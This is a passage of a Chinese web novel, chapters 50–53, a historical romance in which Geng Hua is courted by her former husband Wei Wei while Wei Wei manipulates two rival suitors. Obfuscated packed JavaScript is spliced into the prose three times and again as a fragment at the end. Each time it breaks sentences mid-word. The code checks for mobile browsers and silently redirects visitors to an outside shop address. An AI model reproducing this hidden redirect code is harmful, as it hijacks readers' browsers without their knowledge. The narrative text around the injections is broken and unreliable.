一副恶心的呕意涌上来,耿婳捂住口鼻,试图将那些痛苦的回忆驱散。 “你也二十了吧,该开窍了……”王夫人欲言又止,一想她是魏巍的前妻,那事必定发生过,又有什么开不开窍的。 “你少骗人,那事有什么好。”耿婳垂眸说。 王夫人愕然。难不成魏司马……脑子里翻江倒海一阵后,她好像明白了耿婳言外之意。哎,看来她和魏司马是不可能和好了。 “瞧瞧你累的,面色苍白,一点血气都没有。真得找个男人补补了。”王夫人悠哉道,“晓市隐秘,好吃的款式也多,下回老娘带你逛逛。 ” “我不需要!”耿婳说。 “私底下就别逞强了,丫头。都是女人,一天天独守空房,我就不信你没有想男人的时候。”王夫人幽幽说,“一个人待一天一旬一个月哪怕一年两年都是好的,可时间再长,怎么可能耐得住寂寞?” 耿婳垂眸,脸上的热气没有消退。她不想看她,也不想说话。 沉默即是答案。 王夫人猜中了她心中所想,得意的笑道:“我之前跟你说过崔大人,你可记得?” 耿婳记得年初王夫人想撮合他们。 她既然对魏司马无意,那还不如重新介绍这位信任的司法参军。王夫人开始夸赞起崔严,小嘴一张一合叨叨个没完。 什么“女人怎么能没有男人”、“找个好男人滚榻取悦自己”、“崔严身板好……”,耿婳被磨得没了脾气。 她知道王夫人的好意,如果断然拒绝真有可能就得罪了这位大主顾。以后岂不段了一大笔生意? 她只好轻飘飘应下。 在她上王夫人马车前不久,其实王夫人和王刺史专门找魏巍吃过饭。 她虽然没被看到和耿婳一起进入晓市,但也知道耿婳原来和魏巍的关系。这回请他吃饭,为了试探他和耿婳的关系。 上回在别馆撮合酿成大祸,他们还没来得及正式道歉呢。正好也趁此敲打一下魏巍对耿婳的态度。 言语间,王夫人几次想把话题往耿婳身上引,魏巍都无动于衷,反而聊起了扬州的海外商客。 他想借机打探伍听肆的来历。 “伍家十多年前就来扬州经商了,主要做茶叶买卖下南洋去卖。后来伍家老爷子干脆住在南洋,让儿子接管扬州生意。” “对对对,就是这个叫伍听肆的,他和耿掌柜是故交,祖籍在洛阳。他爹年事已高,不方便走动。近几年都是他跑生意,听说刚从南洋回来。” “他可婚配?”魏巍问。 “没有,他中意耿掌柜不是一天两天了。扬州商圈都知道他这点心思。”王绅道。 王夫人忙看魏巍脸色,又说:“您也别放在心上,中意耿掌柜的人多得是。要是喜欢他,早就答应了,何苦现在还孑然一身。” 魏巍不动声色地颔首,又道:“看来王夫人和耿掌柜熟络,也担心她的终身大事吧。” “老去她店里买东西,自然熟了。年前还想着给她介绍一位官人。”她嘴一快,自然跳到魏巍挖的坑里。 “这倒是个好事。她找个大官人比找商户强。”魏巍表情赞同,好像是在支持给耿掌柜择偶。 王夫人愣了。 王绅乐呵呵接管话题:“好说好说,你继续撮合撮合。” 他这话明着给夫人说,实际上眼睛一直瞥魏巍。 魏巍的表情自然极了,好像很乐意听到这样的回答。 于是,王夫人今天才劫道似的抓住了耿婳,揪她上车就是为了完成这项重任。 另一外边,魏巍被耿婳口头禁足,不能随意去找她。 这几日,他无事就闷在家里钻研医书。这是他让弟弟魏嵘从京城熟识的太医手边借来的书籍。 最近的回信里可知,魏嵘的处境也不好受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958648|146077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他才学不及魏巍,接着父亲礼部尚书的荫蔽在朝中挂着闲职。即便如此,也要受保守派排挤。 据他最新的来信,说想来扬州探望魏巍。颇有投奔之意。 魏巍依旧会按时给圣人寄去扬州最新的考察报告,但是迁回京城做官的消息迟迟没有动静。他反而乐在其中,这样至少能在扬州城多陪陪耿婳。 魏巍回信给魏嵘,让他势必多盯着点京城运去的货物,如果发现紫檀木走私的事,一定要看紧。 写完信,他又去了院中石桌上,将佛手红花切碎放进石臼捣药。玄海正在小厨房里熬煮佛手红花。 医书里只说适量佛手红花入药,但没说以何种方式。魏巍打算都试一试,以自己为试验品。 最近制了太多药,外敷内熬的都有,他已然成了半个大夫。 “大人,这个还是我试吧。上回您喝完吐了一宿。” “无妨。”魏巍亲自尝药。 那晚墨绿色的汤药咕咚咕咚冒着泡,六月的湿热天气里,果蝇来了都不会多停留一眼。 一口浓稠的汤药入口,魏巍感觉舌头没了知觉。他握着碗的手轻轻颤抖。 想到耿婳的眼睛,他心一横,直接仰头灌进喉咙里。他不知道这次管不管用,如果不行的话,还得再改改方案。 她的眼睛为他而受伤。不管耿婳愿不愿意原谅他,他都要倾尽所能去弥补。 尝药的过程异常煎熬,但是这次喝完没有上吐下泻。他正想接着钻研内容,玄海从外面跑来给他消息说:“大人,王夫人来信儿,说崔大人和耿掌柜约了五日后相见。” “地点。” “得月楼。” “伍听肆知道吗?”魏巍又问。 “嗐,他能不知道吗。这些天每日在婳坊泡着。” “真好。”魏巍幸灾乐祸。 不知道伍听肆听说耿婳要去相亲会是什么表情。 伍听肆立刻跳起来叫,脸扭成了麻花,“什么?你才二十,着什么急?!” 耿婳懒洋洋说:“我实在推脱不了,顺便答应了。” “听说得月楼的鱼汤甚是鲜美,这回我先去吃吃看。”她又说。 伍听肆说:“我还是陪你一道去吧,万一那个姓崔的想动手动脚呢。” 其实耿婳对婚配确实无意,但心里有一丝丝期待。那个崔严万一是个帅哥呢?欣赏一下还是可以的。 后来这个故事告诉她,期望越大,失望也越大。 崔严确实彬彬有礼,也钦慕于她的美貌。只可惜五官只能称得上端正。耿婳吃过更好的,当然看不上他了。 魏巍的容貌一闪而过,意识到这点后耿婳极其嫌恶自己。 她下意识会拿此人和前夫对比,发觉后又不知不觉生自己的气。为什么非要想到魏巍呢,他本来也没有多好! 空有皮囊而已。 忽而想到上次和王夫人聊得话题,她就更抵触男人。真不知道那事儿有什么好的,能让王夫人特意往晓市跑。 如果婚姻必须有床笫生活,她宁愿孤独终老,逍遥一生! 51. 051 六月梅雨连连,得月楼二楼雅间内耿婳和崔严对坐着。 这是一位行伍出身刚刚加冠的魁梧男人,麦色皮肤,鼻直口正,器宇轩昂。若说哪里有些毛病,就是见到她后耳垂红成了樱桃。 不是耿婳不想理他,只是这人一上来就“你多大了”、“有无意中人”的问了两句。她好久没见过这么纯粹的直男了。 耿婳一时间被问到无语,更没心思理会他了。 “嗯?崔大人怎么不动筷子?难道菜肴不合胃口?”耿婳打完招呼慢条斯理吃了起来,过了许久才发现崔严一直盯着她看。 “吃、吃。”崔严直勾勾望着她,耳根的绯红传染到两颊上。 耿婳对这种反应司空见惯,她本来就是冲着这顿免费的大餐来的。崔严只要不多问,她愿意在这里老实待着完成王夫人给的任务。 伍听肆在楼上栏杆处,正好瞥见两人的动向。 魏巍刚从楼梯口上来,就看见了他。玄海还在疑惑,道:“大人,你何必给自己添堵,非把耿掌柜往别人身边推?” “你可知道鹬蚌相争渔人得利?”魏巍抬抬下巴。玄海顺着他的指向望去,看到了目眦尽裂的伍听肆。 “你忘了芊芊说的?”魏巍说,“他这次回来十有八九为了带耿婳走。我怎么能让他得逞?” 耿婳口口声声说不愿见她,可也不能让伍听肆捷足先登。还不如引入祸水,搅浑局面。也只有这样,能让王刺史夫妇打消对他私生活的介入。 “原来如此,大人聪慧!” 魏巍实际上远没看上去这般淡定。他不确定耿婳对他的讨厌程度是深是浅。他私下打听过崔严,断定耿婳不会喜欢这种类型的。 “伍老板,这么巧。”魏巍走过来,笑着同他作揖。 伍听肆微微扬眉,立刻学着他虚伪起来,笑得那叫一个做作油腻:“不敢当不敢当,哪有官爷给商人行礼的道理?” 魏巍说:“伍老板日理万机,得空来得月楼定有大事要办。” 他语气阴阳,先发制人。 伍听肆随口说:“等人。”说完,他再也不愿意看魏巍一眼。 “还没等到?”魏巍表现得很关切。 伍听肆心里咒骂了两句,面色仍旧和煦:“魏司马看上去比我还急呢。” 他有意无意地瞥向耿婳那间屋,心想今天在这儿绝对不是凑巧撞见。 “本官也在等人,自然急。” 他竟然大言不惭地在这里等耿婳。这是在与他公开宣战? 伍听肆勾起嘴角,笑道:“魏司马文采过人,自然知晓‘过了这村没这店’的道理,要是还纠缠不休,那就有失和离书上的‘一别两宽各自生欢’之理。您觉得呢?” 魏巍讶然:“吴老板说这话本官就不明白了。今日麾下参军崔严有联谊之约,他碍于男女有别,拖我做个见证。故而在此等候。” 大奉民俗如此,联谊相亲之时双方介绍人都要在此见证。耿婳那方是王夫人,崔严这边就是魏巍。 魏巍给他指了指远处,伍听肆看到了邻座饮茶的王夫人,才知自己着了他的道。小样儿,还挺会装。他十有八九是为耿婳而来,却找了个冠冕堂皇的理由。实在气人! “三番五次害小婳受委屈,难怪她离了你这么急着找男人。”伍听肆说道。 魏巍没在意他的阴阳怪气,说:“可惜了,找别人也不找你。” 伍听肆笑道:“小婳才不会和这样的愣头青好。我赌再过一炷香,她就出来了。” 魏巍嗤道:“那就拭目以待。” 没成想,过了一炷香耿婳真从里间出来了。崔严跟在她后面,挠着头笨拙地行礼,而后有支支吾吾不知道说了些什么。他们离得远,一句也听不到。 “耿掌柜,能不能这个月十五与我一同湖心亭赏月。”崔严魁梧的身形站在那儿,费了半天的劲才把话说明白。他平时气势如虹,对着娇滴滴的姑娘却没了强势。 耿婳觉得他好玩,只说:“我家店里生意繁忙,不知道那时会不会空闲。如果有空,自然我会去。” 她给出了一个莫能两可的回答,如此既不是礼貌,又能领会她话外之音。 崔严一听这话,好像受到了极大的鼓舞,颔首说:“好!” 耿婳一愣,怀疑他领会错了。 她别了崔严,抬眼就看见了栏杆旁等她的伍听肆。耿婳翘起嘴角,笑得明媚灿烂,眼里星辰闪烁。她穿着一件红艳艳的广袖流仙裙,迅速移步上楼,好似一只妖娆的火狐狸。 “小肆哥哥!”她甜声叫他。 “诶!”伍听肆大声一应,腔调极其夸张。 魏巍微不可查地拧了一下眉,胸膛里凝了一团浊气。耿婳直到到了楼上才正眼瞧了他一眼,好像在纳闷他怎么会出现在这里。 魏巍张嘴,刚要解释。耿婳就拉住了伍听肆,“让你久等了。” “不久不久!”伍听肆笑得眼睛都没了,“这不有魏司马和我一起等吗?” 魏巍五脏六腑都要气炸了,他没理伍听肆,只好声好气对耿婳道:“我有事路过,不是故意要见你的。” “哦,那你就是有意的喽?”伍听肆说。 耿婳问他:“什么意思。” 伍听肆回道:“魏司马是专门等崔严的。他介绍的呢。” 耿婳这才看向魏巍,眼里带着火气:“他是你的人?” 魏巍刚要摇头说不,伍听肆立刻对耿婳吹耳风:“人家是本州司马,和参军是上下级关系。咱们这些小百姓,可不能有怨气。” “是你引荐崔大人与我认识?你几个意思?”耿婳狐疑问。 “他怕你孤独终老,耐不住寂寞呗。”伍听肆拱火,耿婳气得胸脯起伏。 “不是!”魏巍忙道:“婳儿我……” “魏司马!”崔严刚找到他,作揖后又看了眼耿婳和她身边男人,脸上的疑惑越来越重。 “这是?”他问。 “这是我哥哥,出海经商刚回来。”耿婳稍微离伍听肆远了点。 伍听肆的脸有点不好看。魏巍幸灾乐祸地瞪了他一眼,可没想到被耿婳捕捉到了这点微表情。 “你得意什么?”她露出怒容。 魏巍昧着良心说:“我为耿掌柜与崔参军的喜事高兴,此乃佳偶天成,男才女貌。” 他不得不这样说,否则骗不过崔严。 “呵,你最好是!”耿婳说完,甩袖而去。伍听肆朝他哼了一声,立刻追了过去。 耿婳大步流星地下楼梯,险些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972986|146077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崴脚。她怎么能不气呢。魏巍说是喜欢自己,竟然这么快就要给她介绍男人! 他这算什么喜欢,算什么会忏悔,算什么深情! 耿婳气得差点忘记和王夫人道别,等回了婳坊之后,才意识到自己竟然为魏巍生气,简直可笑! 她喝了一壶凉茶,脑子渐渐镇静下来。 不可能有这么凑巧的事,他偏偏是崔严的上级!一定有蹊跷! “是不是魏巍暗示你这么做的?”第二日耿婳就去刺史府找王夫人。 王夫人笑得神秘,却迟迟不语。 耿婳急道:“我和崔严的事,是不是他指示的?” “人家也是为你好。”王夫人说,“再说,你也老大不小了。” “哼,我用得着他为我好?”耿婳桀桀冷笑。 王夫人古怪地看她一眼,问:“你就真没有想男人的时候?” 耿婳脸一僵。 “月信前后也没有?”王夫人凑近小声问,语气匪夷所思,一副难以置信的样子。她隔一天就闷得不行。这么妩媚的娘子,难道忍得住露水之痒? “你怎么总聊这些污秽之事!”耿婳直接恼了,“我告诉你,我可对崔严没意思!少拿我开涮!” 耿婳这次发了大脾气,连带着也没给芊芊好脸色。自从她被发现是魏巍的人后,那个叫玄海的也经常来这里看望她。 说是看望,无非就是互通消息。这次晚饭前又来了,阮若啪一声关门,震出尘土。 第二日耿婳刚起床,就听芊芊说外面有男人求着拜访。 是魏巍? 耿婳冷笑。她怎么会让他那么轻易道上歉呢。她故意梳妆得久了点,偏要让他等一等。 她刚一下去,看到的反而是崔严。 他身形挺拔,穿得干干净净,一看就是认真打理过的。他手里握着请帖,上面还别了一束鲜花。 “耿、耿掌柜。”他看着都紧张,说话有点语无伦次。 “上次不是说湖心亭赏月吗?你考虑的如何,这是请帖。”他递过来请帖时,手都在轻轻颤抖。 耿婳觉得好笑,心里却很多感动。明明平时缉查办案威风凛凛,在她面前却紧张羞涩宛如稚童。 她还没见过这么可爱的人呢。 “崔大人的请帖我不能轻易收。”耿婳说,“十五那天不知道有么有空,如果得闲定不赴约。” 耿婳婉拒他时,忽而想到王夫人说的话。 “你就真没有想男人的时候?” 耿婳至少现在不会想。男女之情是最容易上瘾的毒药,她已经中过一次毒,费了九牛二虎之力才从中解脱,怎么可能轻易再陷进去? 好好开店做生意,传承母亲留下的胭脂香料,这才是她要费心费力完成的人生目标。 她说了几句好听的客套话,有意让崔严领会她委婉的逐客之意。但是,他好像听不懂,仍磕磕巴巴跟她聊天。 直到耿婳招呼客人,紫殷趁机出现一语中的,这才轰走了崔严。 过后的几日,崔严日日都来这里下请帖,不论阴天下雨还是烈日炎炎,从未懈怠。时间长了,耿婳都有些不好意思,只得答应下来。 耿婳和崔严十五月圆之夜的相约,自然通过芊芊传到了魏巍耳里。 52. 052 六月十五,魏巍选了一套月白绣云鹤圆领长衫,衬得温润如玉,仪表堂堂。 他照着铜镜,慢慢在眼下点缀云母粉。而后在梳理整齐的发髻上勾出两缕细丝。听玄海和芊芊说,现在满城的少年郎都喜欢在额上留两缕龙须刘海。 崔严约了耿婳夜里赏月,他惴惴不安。这次精心打扮,特意让芊芊回来出谋划策。 “魏大人这套衣服真能衬出文人风采。” 玄海也说:“是啊,大人!你这样出街,恐怕姑娘们都移不开眼了” 他俩嘴一向甜,魏巍却没那么自信。他照了半天,又觉不妥。他都三十了,怎么还算少年郎。 若效仿年轻人梳龙须发,万一被熟人看见岂不被嗤笑? “大人不必多虑,您亲自打理半个时辰的发髻好得很!”玄海一语道破他心中所想。 魏巍惭愧一笑,心里仍是不安。 他这次是真惹到了耿婳,也怪他太心急,害怕伍听肆得了先机,但这不该是他算计崔严与她相亲的理由。 随随便便给她惹桃花债,她能不生气吗? 魏巍懊悔这事,又无从说起。耿婳同意和崔严再度见面后,他比崔严还慌。 最难受的是,必须装得比谁都不在意才对。因为只有这样,才能让王刺史和王夫人不再插手他和耿婳间的私事,才能彻底打消坊间流传的他与耿婳的私情,才能让耿婳在扬州安安稳稳立足搞生意。 他没有别的办法。他现在处境不妙,朝堂上保守派打压,圣人迟迟不召回,迁都之事也无明确回应。他或许保不了她一生,但至少要给婳儿一个安稳的基石。 · 魏巍怀着忐忑,踏着婳儿曾给他缝制的皂靴出了家门。 湖心亭位于城北灵湖之上,景色秀美,环境清幽。临近七夕,这里成了男女夜游之地。 耿婳提着花灯坐船而来,远远的就看到了等待着的崔严。他穿着一身官服,轩然立在那处,湖心亭边的女郎悄悄看他,以团扇捂脸偷笑。 耿婳一看这架势,立刻戴上了事先准备的帷帽。她可不想再因为鸡毛大点的事被人嚼舌根。 崔严还不明白她的用意,看船一靠岸就拉她上了湖心亭。耿婳脚一站稳,迅速和他保持安全距离。 “耿姑娘,你这是生气了?”崔严挠着头,问的话莫名其妙。 他一路跟着耿婳,到了无人的一处。 耿婳坐在美人靠上,说:“我为何生崔大人的气?” “我看你还戴着帷帽,好像不想见我。” 耿婳叹了口气,说:“既然私底下见面不该低调点?您穿着官服站在那儿,被人看了半天,我要是再露脸,恐惹非议。” 崔严恍然大悟,立刻解释:“我刚下值就赶过来,没来得及换衣,是我考虑不周。耿姑娘莫要怪罪。” “不知者无罪,我岂会怪崔参军。”耿婳说,“只不过这帷帽怕是不能摘了。” 崔严悻悻的“嗯”了一声,耳朵红了大半。 他匆匆来过,给耿婳提前准备好了酒菜。耿婳上次为酒水和王夫人的情面而来,这次为崔严的真诚和感动而来。 可一来,她就后悔了。她本就和这人话不投机半句多,如今临近七夕,私下见面很容易让人产生误解。尤其是崔严,他好像真得误会了。 夜空清澈,圆月皓皓,星辰如散落的银河一般铺就在上。难得不下雨,真是赏月的好时候。 他坐在她旁边,一个劲儿给她夹菜。今日燥热,耿婳忙了一天,菜肴不急着吃,但酒水沁人,她喝了一杯又一杯。 “耿姑娘,少喝些。”崔严劝道。她一个人而来,若是醉了不好回家。 魏巍赶来时看到他们在亭中饮酒。耿婳小小的身影依偎着台柱,好像醉了。崔严在一旁不知所措,他悄悄唤了唤耿婳的名字,却没有回应。 此时,一只围着粉红帷幔的画舫慢慢划来,穿上围着细密的珠帘,内有焚香袅袅散出,叫人看不真切。 一个瘦小的姑娘掀开珠帘走了出来,朝他行礼。崔严认出了她是婳坊的店员。 “崔参军,我奉命接耿掌柜回家。劳烦您了。”芊芊礼貌地说。 崔严问:“是耿姑娘让你来的?” “掌柜的不胜酒力,特意让我接她回去。但愿没有扫您的兴。” “不妨事,不妨事。”崔严黯然道。 原来她想走,提前安排了人。怪不得菜都没吃几口,一直搁那儿喝闷酒,原来早有准备。崔严暗自神伤,目送芊芊搀扶耿婳去了画舫。 她们一上船,外面船夫打扮的玄海立刻波动船桨,远离湖心亭。耿婳一进珠帘,立刻摘了帷帽,瘫在软绵绵的引枕上。 “大人,掌柜的好像还没醒。”芊芊小声说。 魏巍做了一个嘘声的手势。 耿婳听了她的话,不自觉皱起了眉头。其实她根本没醉,更不会有酒醒一说。她缓缓睁眼,又伸了个懒腰才坐直。 对面的男人正襟危坐,正把倒好的茶碗递给她。 “这是醒酒茶。” 耿婳一时间不知是喜是怒,她本来想感谢芊芊将她带出是非之地,偏偏没坐稳就又入虎口。 她没接这碗茶,反而斜眼看芊芊。 芊芊做贼心虚,把头深埋,恨不得拿下巴去碰胸脯。 魏巍命令:“你先下去。” 芊芊如蒙大赦般掀帘出去了。 魏巍也好不到哪儿去,因为正耿婳用审视芊芊的犀利眼对准他。 她开门见山地问:“魏大人,你故意让我和崔严相亲,几个意思?” 魏巍此次来,就是为了把话说开。之前他还介意颜面,可耿婳拿得起更放得下,照她这个敢爱敢恨的性子发展下去,早晚会彻底弃他不顾。 他也恨自己,非要把官场下作的那一套拿来应对自己最珍惜的人。 “我不想让你和伍听肆好。”许久,魏巍小声说。 他费了好半天的力才有勇气把话说出口,声音低到他不知怎么从唇齿间发出。 耿婳蹙眉:“什么?”她好像没有听清。 话一出口,魏巍感觉灵魂都轻松了。再说一次,倒也无妨。 他坐得更直,声音磊落:“我不想让你和伍听肆好。” 耿婳反问:“那你就想让我和崔严好?” 她语气有些咄咄逼人,好像在生魏巍的气。其实不然,耿婳只觉得他这种做法莫名其妙,多管闲事。 魏巍顿了顿,看着耿婳的眼睛说:“我知道伍听肆和你是青梅竹马,又将你从相府解救出来,对你有恩。这次他从南洋回来,肯定是想表明心意,与你定下终身大事的。” “谁说小肆哥哥想娶我?”耿婳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13989459|146077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊了。 魏巍看她这反应,也惊了。半晌他才找回舌头:“不是明摆着的事吗?” 耿婳诧异:“什么明摆着的事,我这个当事人都不知道!” 她说完又恼了,“你从哪儿听来的瞎话?!竟然敢以讹传讹?!” “我和小肆哥哥是老友,感情真挚,从来不是你们意.淫的那种男女关系!”耿婳急得眼圈都红了。 “不是不是不是!”魏巍连忙哄她,“我绝对没觉得你们是那种关系。” “你是从谁口中听来的?”耿婳依依不饶,势必要把这事查清楚。 “我也是听说的。”魏巍答得含含糊糊。 他还能从哪里听说?还不是芊芊告诉他的。耿婳气冲炉顶,但也知道芊芊必然也是道听途说。 她天天不是在婳坊就是在魏巍府上,还能从哪里听说?必然是阮若和紫殷嘴里听来的。 耿婳最信任的两个人给她造谣,后院起火她岂能不气? 魏巍本来和耿婳对坐矮几前,但看她怒发冲冠的架势十有八九会把小几掀翻,他审时度势地先转移了小案,坐到了她身边。 “你先别急,你刚刚不是问我为什么让王夫人撮合你和崔严吗?”魏巍曲线救国,只好先偏移她的注意力。 “说。”耿婳哼道。 “我不想让伍听肆得到你,也不想让崔严和你好上。”魏巍埋头说,“所以我想,能不能让崔严气气伍听肆。好让这俩人鹬蚌相争。” “魏大司马可真聪明。”耿婳差点被他气笑了,“原来您就是那个渔翁啊。” “你骂我吧。想怎么骂就怎么骂,只要你能出气就行。”魏巍不敢看她的眼睛,自顾自说,“我知道我这样下作,早知道会惹你不悦,我才不会这么做。你放心,我以后再也不会了。” 耿婳心里的优越感又回来了。她这么有魅力的人,不可能让魏巍轻易放下。她可以不喜欢他,但是她享受被人追捧的感觉。而且这个人不是别人,而是曾经弃自己不顾的前夫。 她的火气渐渐消了一些,但魏巍并不知情。她低头在她身边,抱膝而坐,看着船内一个角落继续说:“但是我求你,求你给我一个能够光明正大追求你的机会。我是真心喜欢你的。” 耿婳想了想说:“我上回给你下了命令,不让你再接近我与我见面,所以你才出此下策是吗?” 魏巍默认了。 “你还是喜欢我?”耿婳尽量控制住语气中的得意。 “是。”他的声音不大,但是却极有力,“我原来不识好歹,错过了你。我本来以为你死了,可万念俱灰之时你却出现在扬州。这是上苍给我的机会。不管你愿不愿意,都请让我好好追求你一次。” 他又重复着刚才的话,可这一次声音逐渐清晰坦荡,有种费劲千辛万苦终于吐露心声的释怀感。 魏巍就这样老实巴交认错,卑微到了极致。耿婳一直没说话,他慢慢撇过头看她,“可以吗?” 如果说心里不受触动,那是不可能的。耿婳久久望着他的眼睛,好像看到了三年前在相府破败凄惨的人生。 当时能走到那个局面,有多少因素是魏巍本人导致的,又有多少是魏府其他人造成的?为了复仇,她必须搞清楚其中的因果。 “好吧。” 不知不觉,短短两个字从她口中溜出来。 53. 053 “我先说好,我才不会怜悯你,也不会看上你。但是别忘了,你答应我要帮我找回那个叫阿沁的贱婢,她应该知道我姑姑熹微的死因。还有,刺史走私紫檀的事你我也涉及其中,不然我才不想和你扯上关系!”耿婳连珠炮似的说。 魏巍心里暖暖的,知道她要面子,连忙顺着她说:“是是,不然我怎么配和耿掌柜说上话呢。” “你知道就好。”耿婳说,“至于那个崔参军……” “我去给他说清楚,就说你不愿意!”魏巍看着她脸色,急忙补充,“当然了,一定说得礼貌委婉,让他信服。” 耿婳气还没消,声音闷闷的:“这还差不多。” 魏巍知道她在气什么。她身在局中,自然当局者迷,看不清伍听肆的情愫。 “其实,伍听肆就是自作多情。”他瞧着耿婳的眼神,见她没有发火的迹象,这才继续说:“婳儿国色天香,多少男人垂涎不得,连搭话的资格都没有。他倒好,能和你从小一起长大还不知足,竟然想那么龌龊的事!” 耿婳没理他这茬,想了一会儿讶然说:“你是说小肆哥哥喜欢我?” 魏巍愣了一下,叹道:“傻丫头,你不会才知道?” 耿婳回道:“我们从小就认识,他是我儿时伙伴,我从来没对他生出异心,我也以为他只是把我当成亲妹妹。” 其实耿婳虽然生得好看,从小却自卑。她的童年不堪回首,没有人愿意与她交朋友。很小的时候耿婳就没觉得容貌有多好。稍微长大一些,她又被同龄的女孩孤立。 当时她们把她围堵在后花园,嫌弃说她是亲爹都不要的闺女,骂她娘是窑子里出来的骚.货。耿婳只能躲在角落里哭,忍受她们掷来的石子。 那时她还不知道这叫嫉妒。那些女孩,只是妒忌她的美貌而已。正是那段孤立无援的时光里,伍听肆出现了。他挺身而出回击那些仗势欺人的小丫头片子,替耿婳出一口恶气。 在那之后,他们成了亲密无间的朋友。她一直以来,都把伍听肆当成救命稻草一样的大哥哥,他好像太阳之子一样正义阳光,总能把她从阴霾中带出来。 这导致耿婳很久没有发觉他对她的情感。如果不是魏巍一语道破,她还蒙在鼓里。岁月如梭,童年一晃而过,她总是觉得她和伍听肆还小,他们之间还能像小时候一样纯洁。 然而她错了,从身边人的态度看,不论阮若紫殷还是芊芊魏巍,好像都觉得他们之间的关系不正常。 果然长大之后,掉进江湖之中就再也不能像小时候一样肆无忌惮了。很多人和事哪怕她想照常看待,周围的环境也不允许。 耿婳想到这里,忽而生出一股难以挣脱的无力感,心中一阵感伤。 她才刚满二十,就体会到了身不由己。其实她明明还是少女的年纪,却又不得不忍受他人眼中的是非评价。 她和伍听肆明明是兄妹情谊,却被人揣测成了男女之情。简直可笑。而面对这种可笑的舆论,她竟然无能为力。 魏巍已经是三十岁的人了,自然没办法领会少女敏感的心思。他只是心里纳闷,刚刚她还暴跳如雷,怎么一会儿的功夫就又黯然神伤了? “婳儿,你怎么了?”他小声问。 耿婳抬头看着画舫顶部,极力忍着泪珠,许久道:“没什么。” 他大手抚摸她头顶碎发,轻轻哄她:“如果心里不舒服,可以同我说。” “没这个必要,我自己已经想通了。”耿婳擦了擦眼睛,扭头看她。 此刻她神情放松,很是平静。只不过那双潋滟的水眸里怀着一丝忧郁。 “谢谢你,魏巍。” 得知他对自己没有恶意后,耿婳彻底踏实下来。他出身高贵,面对所爱之人时也不过是个不择手段的愣头小子。 “以后,不许再这么下作。你想追我就追,我同不同意是我的事。”耿婳淡然说。 “那就好!” 魏巍显得很开心,好像犯了馋痨的孩童终于得了一颗糖果似的。耿婳对他的反应很是诧异。 “居然这么高兴。”耿婳笑了,“笨蛋,贱不贱啊?” 魏巍没在乎她的评价,只是见她笑得灿烂,心里也舒服了。 “你只要开心就好,刚刚突然伤心也不知道为什么。” 耿婳突然觉得他在感情方面的笨拙程度和崔严有一拼。也难过,他从小脑袋里被灌输的都是“致君尧舜上,再使风俗淳”的入世思想,从来没有在男女之情上认真过。 “说你是笨蛋你还真是个笨蛋。”耿婳冲着他笑,眼睛弯弯的,里面亮闪闪比夜空中的星星还漂亮。 魏巍看直了眼,许久笨拙说:“我若不是笨蛋,怎么会错过你害你伤心呢。” 耿婳顺着他的话想到了他三年前就喜欢她。之前总让自己去他当值的政事堂伺候。有一回自己没去,他想念得不行还死要面子,愣是令玄海回府取镇纸,以此为由同她见面。 哼,狗男人。 表面一副正经八百的文人形象,暗地里却骚得可以。回回在榻上将她…… 一想到榻上之事,她瞬间被兜头泼了一盆冷水。那种难受刺痛的感觉从记忆深处苏醒,耿婳不寒而栗。 再想到王夫人大大咧咧承认鱼水之欢,那股子欢愉劲儿也不知道从哪儿来的? 耿婳真想不明白,居然有人喜欢那种事!她当时每回都和上刑一样! 她再抬眼看旁边温柔的魏巍,只觉得这个人十分可憎。魏巍意识到她眼神不对时,抚摸她头颅的手一顿。 耿婳啪一声打在他温柔的手掌上,意思是让他把爪子挪开。 魏巍莫名其妙又有点委屈,他又怎么招惹她了? “你离我远点!” “哦。”魏巍知趣地往旁边挪了挪。 “你怎么……” 耿婳打断:“闭嘴!” 魏巍只好照做,悄悄观察耿婳的动静。她身子起伏着,不知在想什么,一会儿开口问话:“还没到岸?” 面对她的质疑,魏巍是有点心虚的。他很珍惜这次和耿婳泛舟的机会,故意吩咐玄海划船要慢。 “快了快了。”他忙说。 魏巍小心翼翼看她,才敢开口问:“你刚刚是生气了吗?” “你哪只眼睛看到我生气了?”耿婳是个要强的,怎么会在他面前没了气势。 “那你刚刚说的话还算数不算数啊?”他实在不放心,又问了一遍。好不容易把她哄好,这下又莫名恼了。那他岂不是前功尽弃? 耿婳反问:“什么事?” 魏巍一愣,红着耳根低声说:“就是许我追求你的事。” “准了。”耿婳素来言而有信,嚷嚷说,“你是耳聋吗?我刚刚明明回答过!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 